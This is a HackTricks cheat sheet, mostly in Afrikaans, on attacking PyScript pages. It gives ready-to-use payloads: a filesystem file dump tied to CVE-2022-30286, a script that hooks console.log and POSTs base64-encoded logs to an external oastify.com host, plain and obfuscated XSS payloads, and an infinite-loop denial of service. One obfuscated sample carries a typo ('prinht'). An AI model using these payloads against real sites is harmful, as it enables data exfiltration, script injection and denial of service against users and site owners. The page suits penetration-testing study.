# Pyskrip

{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Ondersteun HackTricks</summary>

* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>
{% endhint %}

## PyScript Pentesting Gids

PyScript is 'n nuwe raamwerk wat ontwikkel is om Python in HTML te integreer sodat dit saam met HTML gebruik kan word. In hierdie spiekbrief sal jy vind hoe om PyScript vir jou penetrasietoetsdoeleindes te gebruik.

### Dumping / Ophaling van lêers uit die Emscripten virtuele geheue-lêersisteem:

`CVE ID: CVE-2022-30286`\
\
Kode:
```html
<py-script>
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
out = fin.read()
print(out)
</py-script>
```
Result:

![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png)

### [OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)

`CVE ID: CVE-2022-30286`\
\
Code:
```html
<py-script>
x = "CyberGuy"
if x == "CyberGuy":
with open('/lib/python3.10/asyncio/tasks.py') as output:
contents = output.read()
print(contents)
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){     console.logs.push(Array.from(arguments));     console.pylog.apply(console, arguments);fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
</py-script>
```
Result:

![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png)

### Kruissite-skripsie (Gewoon)

Kode:
```python
<py-script>
print("<img src=x onerror='alert(document.domain)'>")
</py-script>
```
Result:

![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png)

### Kruissite Skrif (Python Versteekte)

Kode:
```python
<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>
```
Result:

![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png)

### Kruissite Scripting (JavaScript Verduistering)

Kode:
```html
<py-script>
prinht("<script>var _0x3675bf=_0x5cf5;function _0x5cf5(_0xced4e9,_0x1ae724){var _0x599cad=_0x599c();return _0x5cf5=function(_0x5cf5d2,_0x6f919d){_0x5cf5d2=_0x5cf5d2-0x94;var _0x14caa7=_0x599cad[_0x5cf5d2];return _0x14caa7;},_0x5cf5(_0xced4e9,_0x1ae724);}(function(_0x5ad362,_0x98a567){var _0x459bc5=_0x5cf5,_0x454121=_0x5ad362();while(!![]){try{var _0x168170=-parseInt(_0x459bc5(0x9e))/0x1*(parseInt(_0x459bc5(0x95))/0x2)+parseInt(_0x459bc5(0x97))/0x3*(-parseInt(_0x459bc5(0x9c))/0x4)+-parseInt(_0x459bc5(0x99))/0x5+-parseInt(_0x459bc5(0x9f))/0x6*(parseInt(_0x459bc5(0x9d))/0x7)+-parseInt(_0x459bc5(0x9b))/0x8*(-parseInt(_0x459bc5(0x9a))/0x9)+-parseInt(_0x459bc5(0x94))/0xa+parseInt(_0x459bc5(0x98))/0xb*(parseInt(_0x459bc5(0x96))/0xc);if(_0x168170===_0x98a567)break;else _0x454121['push'](_0x454121['shift']());}catch(_0x5baa73){_0x454121['push'](_0x454121['shift']());}}}(_0x599c,0x28895),prompt(document[_0x3675bf(0xa0)]));function _0x599c(){var _0x34a15f=['15170376Sgmhnu','589203pPKatg','11BaafMZ','445905MAsUXq','432bhVZQo','14792bfmdlY','4FKyEje','92890jvCozd','36031bizdfX','114QrRNWp','domain','3249220MUVofX','18cpppdr'];_0x599c=function(){return _0x34a15f;};return _0x599c();}</script>")
</py-script>
```
Result:

![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png)

### DoS-aanval (Oneindige lus)

Kode:
```html
<py-script>
while True:
print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
</py-script>
```
Result:

![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)

{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Ondersteun HackTricks</summary>

* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>
{% endhint %}